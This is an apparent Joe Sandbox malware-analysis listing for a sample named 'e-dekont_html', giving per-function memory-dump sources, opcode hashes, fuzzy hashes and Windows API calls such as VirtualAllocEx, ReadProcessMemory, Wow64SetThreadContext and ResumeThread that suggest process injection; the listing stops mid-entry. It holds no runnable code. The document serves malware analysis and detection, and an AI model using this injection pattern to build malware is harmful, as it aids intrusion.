Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 4cba0d7c4c970f71baf70a00a09d83769fcfb5ea16760c28ecb0455d8d626c39
Instruction ID: 75f654a5b88ba0d4af644967e231a3675b96d0a1414d17900f3c49f1b25cff61
Opcode Fuzzy Hash: 4cba0d7c4c970f71baf70a00a09d83769fcfb5ea16760c28ecb0455d8d626c39
Instruction Fuzzy Hash: CC2125B19002499FDB10CFAAC881AEEFBF5FF48320F10842AE519A7240C778A541DBA1

Function 012BD64A Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012BD6D7

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f77cb8c851df8cef6836f3e31be1feb8718e78cd08764788fbc4c65a92074455
Instruction ID: 787a4eec6496f36d60da5ed1435299598ac9fafaaa2c7e11269b295fb250830e
Opcode Fuzzy Hash: f77cb8c851df8cef6836f3e31be1feb8718e78cd08764788fbc4c65a92074455
Instruction Fuzzy Hash: 1321E4B5D002499FDB10CFAAE585AEEFFF5EB58324F14801AE918A7350C378A944CF60

Function 076B0B78 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 076B0BF6

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 2477e35d1cdc8e6e6d1cdbaef39fb9331c6b320587c0ff0ba30a6e4141f0b861
Instruction ID: 880ac70d36436bcb183b5b391dc8d5d8ba6a06acc2fe6fb35e4b444185671f29
Opcode Fuzzy Hash: 2477e35d1cdc8e6e6d1cdbaef39fb9331c6b320587c0ff0ba30a6e4141f0b861
Instruction Fuzzy Hash: 402107B19002098FDB20DFAAC5857EEBFF4AF49324F14842AD519A7341D778A945CFA1

Function 076B1238 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 076B12B8

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: bb0897f882e34a3e05fd0907178d3769fb74c5bae003f1501191ba20ff68f078
Instruction ID: 9218412d1c3b46ab9dcd47cdeb82734e63e6a2e873979d0d6042f75b0b15eaec
Opcode Fuzzy Hash: bb0897f882e34a3e05fd0907178d3769fb74c5bae003f1501191ba20ff68f078
Instruction Fuzzy Hash: 332128B19003499FDB10DFAAC881ADEFBF5FF48320F10842AE519A7240C7789540DBA1

Function 012BD650 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012BD6D7

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ad4c529060eaa667fee077886a85b2a225a6ecd2d1aaa9c60951f165ca4f1ef4
Instruction ID: 004b94d22e8c0aaf5d544507de18b6eb6167a35ff123acb58ef77ee1b1e47399
Opcode Fuzzy Hash: ad4c529060eaa667fee077886a85b2a225a6ecd2d1aaa9c60951f165ca4f1ef4
Instruction Fuzzy Hash: 4221E4B59002499FDB10CFAAD984ADEFFF8EB48320F14801AE918A7310C378A940CF64

Function 076B1081 Relevance: 1.6, APIs: 1, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 076B10F6

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 940a3944e67519116dbb61ceb741ebf9e060bc627fb6f0d2661dc8185fe11617
Instruction ID: e30db197180697dd1635e70835862f77c46c8e7b6b59e516031c6900e9e8bef9
Opcode Fuzzy Hash: 940a3944e67519116dbb61ceb741ebf9e060bc627fb6f0d2661dc8185fe11617
Instruction Fuzzy Hash: 0E1159B59002499FCB20DFAAC845BDEFFF5EF89320F24841AE519A7250C775A540DFA1

Function 08F04FDF Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

@, xrefs: 08F05107

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: dc27dcb5883e26d33f50c15c43aa4886d87aba18775870615b0a5b6f00c78dca
Instruction ID: b0011724ec713b3d2a65df657cd1ca0740feb2d48abfd2d30619585607f5821a
Opcode Fuzzy Hash: dc27dcb5883e26d33f50c15c43aa4886d87aba18775870615b0a5b6f00c78dca
Instruction Fuzzy Hash: F9E18FB8E00219CFDB50CFA8C980A9DBBF2FB49215F2491AAD818E7345D7319D86CF50

Function 076B1088 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 076B10F6

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a6abc6369e53328f389ccd7fbe53853c5e5fa60c9b5bb9f4f4e418a269ae9420
Instruction ID: e234c020e106ef944c52587847a75be3307bdfb383f6fa98e6bbe9a04572b06d
Opcode Fuzzy Hash: a6abc6369e53328f389ccd7fbe53853c5e5fa60c9b5bb9f4f4e418a269ae9420
Instruction Fuzzy Hash: 551167B19002499FCB20DFAAC845BDEBFF5EF89320F20841AE529A7250C775A540DFA0

Function 076B0689 Relevance: 1.6, APIs: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 076B06F2

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6e53673c4e29bbec0f42205b9ef5964929e2daeaf44d017aa0a02851068437d2
Instruction ID: 19862926dce1b69a5601f455df0efc6f26003fe325750f7a818f9c65cb85fa43
Opcode Fuzzy Hash: 6e53673c4e29bbec0f42205b9ef5964929e2daeaf44d017aa0a02851068437d2
Instruction Fuzzy Hash: 691158B1D002498FDB20DFAAD4457EEFFF4EF98324F20841AD419A7340CA79A540CB91

Function 076B57A8 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 076B580D

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 538cf9293a65323e8d1c375eb44d359313855aa145f7bdccda814c751e6072c6
Instruction ID: 98df77686a2d17142a2130f274ce63903a49501b7c6ce0cc58808628898e88eb
Opcode Fuzzy Hash: 538cf9293a65323e8d1c375eb44d359313855aa145f7bdccda814c751e6072c6
Instruction Fuzzy Hash: 391113B58002499FCB20DF99D885BDEFFF8EB48320F10841AE519A7601C375A594CFA1

Function 076B0690 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 076B06F2

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2160299e8b1e90fee25fd46d41c60579c2e60b8d96087ec07498fb5066ab5848
Instruction ID: 293264fd2d3c0361b9f19781fe16f3009f1c67bda45c6d871b0f754e41e7f1da
Opcode Fuzzy Hash: 2160299e8b1e90fee25fd46d41c60579c2e60b8d96087ec07498fb5066ab5848
Instruction Fuzzy Hash: EC1128B19002498BDB20DFAAC4457DEFFF9AF98324F248419D519A7340C679A540CB91

Function 012BAF58 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 012BAFBE

Memory Dump Source

Source File: 00000000.00000002.1768343651.00000000012B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_12b0000_e-dekont_html.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 84e077fe3cb8d23ae1899ceb41b2f6800d7012c2dfa229048fceaeda95c15fcc
Instruction ID: b95712a109122132a2bacf684be2604aa8c54f6f111035a4fa3c824cb817586b
Opcode Fuzzy Hash: 84e077fe3cb8d23ae1899ceb41b2f6800d7012c2dfa229048fceaeda95c15fcc
Instruction Fuzzy Hash: BC11E0B5C002498FDB24CF9AD484ADEFBF4EF88324F14841AD529A7650D379A545CFA1

Function 076B57B0 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 076B580D

Memory Dump Source

Source File: 00000000.00000002.1777811130.00000000076B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_76b0000_e-dekont_html.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: e4ef5f7356006313ad040a39085b7e5364d84f305731c8d930f611d49a69b339
Instruction ID: 2bd9d32427937b471b8a37376caacaf9622f95a0f4e7efc2c9b4db1d599c611b
Opcode Fuzzy Hash: e4ef5f7356006313ad040a39085b7e5364d84f305731c8d930f611d49a69b339
Instruction Fuzzy Hash: 0F11C2B58002599FDB20DF9AD985BDEFBF8EB48320F24841AD519A7200C375A554CFA1

Function 08F03D9E Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

LRfq, xrefs: 08F03E1A

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: LRfq
API String ID: 0-2333822924
Opcode ID: d4c75f42e3f6ff6c96142b8360c1fcfe29092a05d65d4056dfc60d986317014f
Instruction ID: ac730e33a6362649d229f72ab3745d195acec36220fbe66c59700ad596d8c1e2
Opcode Fuzzy Hash: d4c75f42e3f6ff6c96142b8360c1fcfe29092a05d65d4056dfc60d986317014f
Instruction Fuzzy Hash: 3C91D5B8E042189FCB14DFB9C8806AEBBF2EB49315F209529D819E7385E7359946DF40

Function 08F04894 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

Tefq, xrefs: 08F05C51

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 03f013a0ed44654d14837a12bfe9652468d5c4276bd9c60de1231a74dd815f1d
Instruction ID: 53cc456548bfd6677ac7225ad9250cbc16ab6cfc1a98c3f305b44be6b1203d5d
Opcode Fuzzy Hash: 03f013a0ed44654d14837a12bfe9652468d5c4276bd9c60de1231a74dd815f1d
Instruction Fuzzy Hash: F851C074B002199FCB15DF79988847EBBF6EFC82107148969E456DB392DB709C068B50

Function 08F04428 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

8jq, xrefs: 08F044C9

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 8jq
API String ID: 0-3286795621
Opcode ID: 4ea63230f68caa320dba7bb4d58d3476d604c1199d86accf51685397dd66ab02
Instruction ID: 2b566fd277de95620829eaf520d3dec9dddf9ec2f731e770e4470ceb843473e9
Opcode Fuzzy Hash: 4ea63230f68caa320dba7bb4d58d3476d604c1199d86accf51685397dd66ab02
Instruction Fuzzy Hash: 314104B9E011099FCB08DFA8D590AAEBBF2FB88305F109429E915A7380DB319D42DF54

Function 08F04417 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

8jq, xrefs: 08F044C9

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 8jq
API String ID: 0-3286795621
Opcode ID: b750212d8f65e7042ee04de8e7d076b9e2b70a92c2cee959055b2a93f1a2b593
Instruction ID: 619a30003541e21172c1451170114aa0972a01dcfd4c5531813f2437a7d13a3e
Opcode Fuzzy Hash: b750212d8f65e7042ee04de8e7d076b9e2b70a92c2cee959055b2a93f1a2b593
Instruction Fuzzy Hash: 8F415A74E011099FCB08DFA8D5806AEBBF2FB89304F10846AE955E7390DB319D42CF54

Function 08F0AC60 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

Tefq, xrefs: 08F0AE11

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: 6066c487e8bd4260f674b707c66ca79db31ea3f47774bae819c6522ceb21f6b0
Instruction ID: a018d84e08534d1e13725b769cb18995b6e04e340fb928ba6d5666f786016a06
Opcode Fuzzy Hash: 6066c487e8bd4260f674b707c66ca79db31ea3f47774bae819c6522ceb21f6b0
Instruction Fuzzy Hash: FB31E4B5E042188FDB08CFAAC5446EEBBB6FF89301F14D02AD419AB394DB705946CF40

Function 08F05608 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Tefq, xrefs: 08F05673

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: dd9133b1a49ed4dddd27ddd77c574c8f911040a3ce3300604ff657ab89dd3b5d
Instruction ID: 27f53ff227c77aecfaa7c7ce36bf1facb0e61d5670358ab7aaed1f996897f0d6
Opcode Fuzzy Hash: dd9133b1a49ed4dddd27ddd77c574c8f911040a3ce3300604ff657ab89dd3b5d
Instruction Fuzzy Hash: EA111F71F0021A8FDB54EBB999105EFB7B6AB89252B10406DC514E7384EF719E02DFA1

Function 08F0AD09 Relevance: 1.3, Strings: 1, Instructions: 45COMMON

Download Yara Rule

Strings

Tefq, xrefs: 08F0AD20

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: Tefq
API String ID: 0-1066582953
Opcode ID: cd169a34140b77433a077a6689e8405b09a7eab014fd639105b72f17cc31a6ae
Instruction ID: bb1f22d55c999fb7c83bbeff77d271cdacbb1fab92b7d65335de9f718b26f4d9
Opcode Fuzzy Hash: cd169a34140b77433a077a6689e8405b09a7eab014fd639105b72f17cc31a6ae
Instruction Fuzzy Hash: AD116D75E002199FCB09CFE8D8849EDFBB2FF88314F14816AE918AB265C7316856CF40

Function 08F04038 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

7, xrefs: 08F0404C

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 7
API String ID: 0-1790921346
Opcode ID: acdc8a511917504139dafd16b9122dca7f2f861451ec6e7a64ea181994dee38c
Instruction ID: 6d4e8afe0131a3ec4192dba498f0460fb0cd9425baed6cc80897b4f96240f758
Opcode Fuzzy Hash: acdc8a511917504139dafd16b9122dca7f2f861451ec6e7a64ea181994dee38c
Instruction Fuzzy Hash: 56E0C2B4C0610CEFCB10EFF8E8096AD7BB8A74020AF600198C50663380E7314A85EE45

Function 08F03348 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

6, xrefs: 08F0335C

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: 6
API String ID: 0-498629140
Opcode ID: 76f466c5c70ab3647c661c5bed9baae07ca6e8d6d60221227168f7090bdc134c
Instruction ID: 137dd5c7501ef130d248219521c2562509a87dad2df2ed68e0b52b15f8c1fd43
Opcode Fuzzy Hash: 76f466c5c70ab3647c661c5bed9baae07ca6e8d6d60221227168f7090bdc134c
Instruction Fuzzy Hash: 57E0C270C04208EFCB24EFB8D5896ADBFF8A709206F10559DD40593380EF329A81EE41

Function 08F07450 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

m, xrefs: 08F07464

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID: m
API String ID: 0-3775001192
Opcode ID: 82341814f31532dc03731cc327f782207f3a9d0788164d9c53fa2db5bcd65c1b
Instruction ID: c5059131d7e11b44e8dcf1f7d2eefa30eb5b1a69545904af1f22e685ceb5a023
Opcode Fuzzy Hash: 82341814f31532dc03731cc327f782207f3a9d0788164d9c53fa2db5bcd65c1b
Instruction Fuzzy Hash: EAE08C78D05208DFCB14FAF8D4086AD7AB89B00202F0001D8C4455B380E6326AA4EEA2

Function 08F0AE8F Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d59cc8f072456adb07cfe9d227ea79ee45c900e4d0d5118b57bd182836742c3b
Instruction ID: 55f20c7c95781cae89983c1bbf154d39b66b3f3367ba18b8878cf1272d41fcb4
Opcode Fuzzy Hash: d59cc8f072456adb07cfe9d227ea79ee45c900e4d0d5118b57bd182836742c3b
Instruction Fuzzy Hash: D6A10C71E1121ACFCB04DFA8D980AADBBB5FF88311F209615E409AB355DB30AC85DF50

Function 08F06D37 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29fb5d5eeb5d22134538ebcf9efd1ea6fb598b8816dadd4e100565292ffa7ac6
Instruction ID: b628594fdcce7366f2a18798cc7cd15a035c98d069b977ec867368437b9931e9
Opcode Fuzzy Hash: 29fb5d5eeb5d22134538ebcf9efd1ea6fb598b8816dadd4e100565292ffa7ac6
Instruction Fuzzy Hash: B5819179E04219CFDF11CFA8C880AAEBBB2EF59305F109469E819EB341E7359956DF40

Function 08F06FA0 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc050c73acb0b71079c339a4de81579beb1b628eae624fc9bb7354919dd6ecf
Instruction ID: 5e85cd4865761ff756e12de2f2dee239ddb68d53bc2ed8b2e8ab886d91eff1d8
Opcode Fuzzy Hash: ccc050c73acb0b71079c339a4de81579beb1b628eae624fc9bb7354919dd6ecf
Instruction Fuzzy Hash: 6051E375E083889FCB02DFB8C94499EBFF5AF4A210F1484EAE444EB292D7359805CF61

Function 08F0B427 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1258d11a390b0beb47f383981b679b7671d029fcfd6ca865f760f26284a6fa0
Instruction ID: d97f50347b7ebd5bc56d4fd12bcd6b50ff948ed002f665e09e45336dc5ca03f7
Opcode Fuzzy Hash: f1258d11a390b0beb47f383981b679b7671d029fcfd6ca865f760f26284a6fa0
Instruction Fuzzy Hash: 674118B5D08209CFCB04CFAAC5446FEBBF6EB8D322F14E1A9D459A6295D7308981DF50

Function 08F0C6C9 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52ebe140a99e8f6b43ba5b0c47efb56b8f70aa55762e0efae5a50142a15d2f7
Instruction ID: 526d06c5478036f6aae14823b2b474a2702f721b115e07abcba700dc3be1841d
Opcode Fuzzy Hash: c52ebe140a99e8f6b43ba5b0c47efb56b8f70aa55762e0efae5a50142a15d2f7
Instruction Fuzzy Hash: 7B413B75D05204CFC704CFADC5848ADFBBAFF49312B24A254E419A7292C735E981EF90

Function 08F08560 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 496eb7f6ca063999f1e9d0a46a85de46f6d3a9e746fc36a5c57692dd92440fbb
Instruction ID: 86e0440d07ceefdb60212d7caab422e6e320a1e9fdb55b7980676c7d12566953
Opcode Fuzzy Hash: 496eb7f6ca063999f1e9d0a46a85de46f6d3a9e746fc36a5c57692dd92440fbb
Instruction Fuzzy Hash: 6941F7B4E10218DFCB04DFA9D880AAEBBF1EB89311F149469D825E7380EB359D42CF51

Function 08F08551 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f60f8eabf93fa05b2d88d699c3a0f96b9b3e110bd157bfc282ef27ed8cd1854
Instruction ID: 0736697175a7121e36c6636fba2d869f96db82f6d49c1e8cec10293edac91e9f
Opcode Fuzzy Hash: 6f60f8eabf93fa05b2d88d699c3a0f96b9b3e110bd157bfc282ef27ed8cd1854
Instruction Fuzzy Hash: BA4117B4E10208DFCB04DFA8C880AAEBBB2EB89311F159569D815E7390EB359D42CF50

Function 08F0BDB2 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba739fdf4d4e23d0ce53a819f36d8f632b7ef9e2c0a45fa4215ee9bf378bc0ce
Instruction ID: a264575515a39217c33659cc5da43f20c40779da836a8272b7a97b78f2250234
Opcode Fuzzy Hash: ba739fdf4d4e23d0ce53a819f36d8f632b7ef9e2c0a45fa4215ee9bf378bc0ce
Instruction Fuzzy Hash: D6410475D09218CFCB20CFA8D984BECBBB5FB49312F105295E50AA7291C731AE81DF21

Function 08F02FB0 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fdcd61d4111724488713e372690f562cbfcdc882824c4a1634b412ffc970c4d
Instruction ID: 89e87c60e622f31f6e389b879426492801d3536d61585bcf575f85629f478302
Opcode Fuzzy Hash: 3fdcd61d4111724488713e372690f562cbfcdc882824c4a1634b412ffc970c4d
Instruction Fuzzy Hash: C241FA74E1120A8FDB44DFBAD8596AEBBF1BF49206F109429E846E3350EB31D951CF50

Function 08F02FC0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607ede2496a39fcf7b2f36ee3469f9b5e05ff774408a45f72bbffa5fe20e7db9
Instruction ID: 4d6d476d18e1d7d22dc209e1c9e78e9028b38bc1b312088c6debd992573e4e2c
Opcode Fuzzy Hash: 607ede2496a39fcf7b2f36ee3469f9b5e05ff774408a45f72bbffa5fe20e7db9
Instruction Fuzzy Hash: 3F31E774E1120A8FCB54DFBAD8596AEBBF1BF49206F109429E806E3390EB31D951CF50

Function 08F0A439 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aee82f873128d1a64080b2ccb2f8ccaa221a5b0e1b84559222dee1205ae65c7
Instruction ID: 0e856e6152faf035da0dec67ff18e4031f298419daa5557913724078079c039d
Opcode Fuzzy Hash: 4aee82f873128d1a64080b2ccb2f8ccaa221a5b0e1b84559222dee1205ae65c7
Instruction Fuzzy Hash: D1312675A0A224CFCB10CBACC684A9AFBB6FF45302F05E194D4499B286D730A984DF51

Function 08F04EC9 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1780422849.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f00000_e-dekont_html.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f40f78899f521593fdd618f46223799570969962c895819b1ab02c1f5a3dd087
